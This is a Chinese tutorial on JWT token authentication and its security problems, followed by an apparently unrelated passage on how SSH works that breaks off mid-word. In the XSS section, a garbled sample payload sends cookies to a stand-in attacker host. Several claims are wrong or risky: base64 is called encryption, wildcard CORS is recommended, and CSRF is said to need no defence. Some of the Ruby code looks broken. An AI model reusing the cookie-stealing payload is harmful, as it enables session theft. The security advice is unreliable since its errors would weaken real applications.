JWT的益处与利用Token进行安全认证的注意事项
JWT的优点和实现Token认证的安全问题
一、什么是JWT
JWT——Json web token
是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准,可实现无状态、分布式的Web应用授权。
二、我们为什么需要JWT?
首先,当前后端分离时我们会因为同源策略而无法设置cookie和sessionid。当然了我们有很多方式去解决这个问题,比如反向代理和jsonp等。但这仍然不如直接使用jwt来的简便。其次就是要说到jwt与传统的身份认证相比有什么优势了。 回答这个问题需要来看看基于token的认证和传统的session认证的区别
1、传统的session认证
我们知道,http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。
但是这种基于session的认证使应用本身很难得到扩展,随着不同客户端用户的增加,独立的服务器已无法承载更多的用户,而这时候基于session认证应用的问题就会暴露出来
2、基于token的鉴权机制
基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。
流程上是这样的:
1、用户使用用户名密码来请求服务器
2、服务器进行验证用户的信息 服务器通过验证发送给用户一个token
3、客户端存储token,并在每次请求时附送上这个token值 服务端验证token值,并返回数据
4、这个token必须要在每次请求时传递给服务端,它应该保存在请求头里,
另外,服务端要支持CORS(跨来源资源共享)策略,一般我们在服务端这么做就可以了Access-Control-Allow-Origin:*。
3、基于token的jwt有以下优点:
Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).
三、JWT的构成:
jwt由三部分构成:头部(header)、载荷(payload, )、签证(signature).
头部:jwt的头部承载两部分信息:
声明类型,这里是jwt
声明加密的算法 通常直接使用 HMAC SHA256
完整的头部就像下面这样的JSON:
{
'typ': 'JWT',
'alg': 'HS256'
}
然后将头部进行base64加密(该加密是可以对称解密的),构成了第一部分.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
载荷:就是存放有效信息的地方。,这些有效信息包含三个部分
标准中注册的声明
公共的声明
私有的声明
标准中注册的声明 (建议但不强制使用) :
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.
私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。
定义一个payload:
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
然后将其进行base64加密,得到Jwt的第二部分。
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
签证:这个签证信息由三部分header (base64后的)
payload (base64后的)
secret分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret'); // TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
将这三部分用.连接成一个完整的字符串,构成了最终的jwt:
基于JWT的Token认证的安全问题
确保验证过程的安全性
如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。
如何防范XSS Attacks
浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
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XSS攻击代码过滤
移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤; -
采用HTTP-Only Cookies
通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
如何在Java中设置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie设置HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建议升级Tomcat7.0,它已经实现了Servlet3.0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
或者通过这样来设置:
//设置cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); //设置多个cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly"); //设置https的cookie response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
如何防范Replay Attacks
所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:
- User ID
- 共享秘钥
客户端
auth_header = JWT.encode({ user_id: 123, iat: Time.now.to_i, # 指定token发布时间 exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率; }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 检查该用户是否存在于数据库 @current_user = User.find(payload['user_id']) # Step 3: 检查Token签名是否正确. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 如果过期则返回401 end rescue JWT::DecodeError # 返回 401 end end
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端
auth_header = JWT.encode({ user_id: 123, jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack iat: Time.now.to_i, # 指定token发布时间. exp: Time.now.to_i + 2 # 指定token过期时间为2秒后 }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
def set_current_user_from_jwt_token # 前面的步骤参考上面 payload = JWT.decode(request.authorization, nil, false) @current_user = User.find(payload['user_id']) JWT.decode(request.authorization, current_user.api_secret) now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 返回401 end # 下面将检查确保这个JWT之前没有被使用过 # 使用Redis的原子操作 # The redis 的键: <user id>:<one-time use token> key = "#{payload['user_id']}:#{payload['jti']}" # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. . if redis.getset(key, "1") # 返回401 # end # 进行键值过期检查 redis.expireat(key, payload['exp'] + 2) end
如何防范MITM (Man-In-The-Middle)Attacks
所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
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ssh工作流程及原理-SSH(Secure Shell Protocol,安全的壳程序协议),它可以通过数据包加密技术将等待传输的数据包加密后再传输到网络上。ssh协议本身提供两个服务器功能:一个是类似telnet的远程连接使用shell的服务器;另一个就是类似ftp服务的sftp-server,提供更安全的ftp服务。 连接加密技术简介 目前常见的网络数据包加密技术通常是通过“非对称密钥系统”来处理的。主要通过两把不一样的公钥与私钥来进行加密与解密的过程。 公钥(public key):提供给远程主机进行数据加密的行为,所有人都可获得你的公钥来将数据加密。 私钥(private key):远程主机使用你的公钥加密的数据,在本地端就能够使用私钥来进行解密。私钥只有自己拥有。 SSH工作过程:在整个通讯过程中,为实现SSH的安全连接,服务端与客户端要经历如下五个阶段: 版本号协商阶段 SSH目前包括SSH1和SSH2两个版本,双方通过版本协商确定使用的版本 密钥和算法协商阶段 SSH支持多种加密算法,双方根据本端和对端支持的算法,协商出最终使用的算法 认证阶段 SSH客户端向服务器端发起认证请求,服务器端对客户端进行认证 会话请求阶段 认证通过后,客户端向服务器端发送会话请求 交互会话阶段 会话请求通过后,服务器端和客户端进行信息的交互 一、版本协商阶段 服务器端打开端口22,等待客户端连接; 客户端向服务器端发起TCP初始连接请求,TCP连接建立后,服务器向客户端发送第一个报文,包括版本标志字符串,格式为“SSH-<主协议版本号>.<次协议版本号>.<软件版本号>”,协议版本号由主版本号和次版本号组成,软件版本号主要是为调试使用。 客户端收到报文后,解析该数据包,如果服务器的协议版本号比自己的低,且客户端能支持服务器端的低版本,就使用服务器端的低版本协议号,否则使用自己的协议版本号。 客户端回应服务器一个报文,包含了客户端决定使用的协议版本号。服务器比较客户端发来的版本号,决定是否能同客户端一起工作。如果协商成功,则进入密钥和算法协商阶段,否则服务器断开TCP连接。 说明:上述报文都是采用明文方式传输。 二、密钥和算法协商阶段 服务器端和客户端分别发送算法协商报文给对端,报文中包含自己支持的公钥算法列表、加密算法列表、MAC(Message Authentication Code,消息验证码)算法列表、压缩算法列表等等。 服务器端和客户端根据对端和本端支持的算法列表得出最终使用的算法。 服务器端和客户端利用DH交换(Diffie-Hellman Exchange)算法、主机密钥对等参数,生成会话密钥和会话ID。 由此,服务器端和客户端就取得了相同的会话密钥和会话ID。对于后续传输的数据,两端都会使用会话密钥进行加密和解密,保证了数据传送的安全。在认证阶段,两端会使用会话用于认证过程。 会话密钥的生成: 客户端需要使用适当的客户端程序来请求连接服务器,服务器将服务器的公钥发送给客户端。(服务器的公钥产生过程:服务器每次启动sshd服务时,该服务会主动去找/etc/ssh/ssh_host*文件,若系统刚装完,由于没有这些公钥文件,因此sshd会主动去计算出这些需要的公钥文件,同时也会计算出服务器自己所需要的私钥文件。) 服务器生成会话ID,并将会话ID发给客户端。 若客户端第一次连接到此服务器,则会将服务器的公钥数据记录到客户端的用户主目录内的~/.ssh/known_hosts。若是已经记录过该服务器的公钥数据,则客户端会去比对此次接收到的与之前的记录是否有差异。客户端生成会话密钥,并用服务器的公钥加密后,发送给服务器。 ****服务器用自己的私钥将收到的数据解密,获得会话密钥。 服务器和客户端都知道了会话密钥,以后的传输都将被会话密钥加密。 三、认证阶段 SSH提供两种认证方法: 基于口令的认证(password认证):客户端向服务器发出password认证请求,将用户名和密码加密后发送给服务器,服务器将该信息解密后得到用户名和密码的明文,与设备上保存的用户名和密码进行比较,并返回认证成功或失败消息。 基于密钥的认证(publickey认证):客户端产生一对公共密钥,将公钥保存到将要登录的服务器上的那个账号的家目录的.ssh/authorized_keys文件中。认证阶段:客户端首先将公钥传给服务器端。服务器端收到公钥后会与本地该账号家目录下的authorized_keys中的公钥进行对比,如果不相同,则认证失败;否则服务端生成一段随机字符串,并先后用客户端公钥和会话密钥对其加密,发送给客户端。客户端收到后将解密后的随机字符串用会话密钥发送给服务器。如果发回的字符串与服务器端之前生成的一样,则认证通过,否则,认证失败。 注:服务器端对客户端进行认证,如果认证失败,则向客户端发送认证失败消息,其中包含可以再次认证的方法列表。客户端从认证方法列表中选取一种认证方法再次进行认证,该过程反复进行。直到认证成功或者认证次数达到上限,服务器关闭连接为止。实例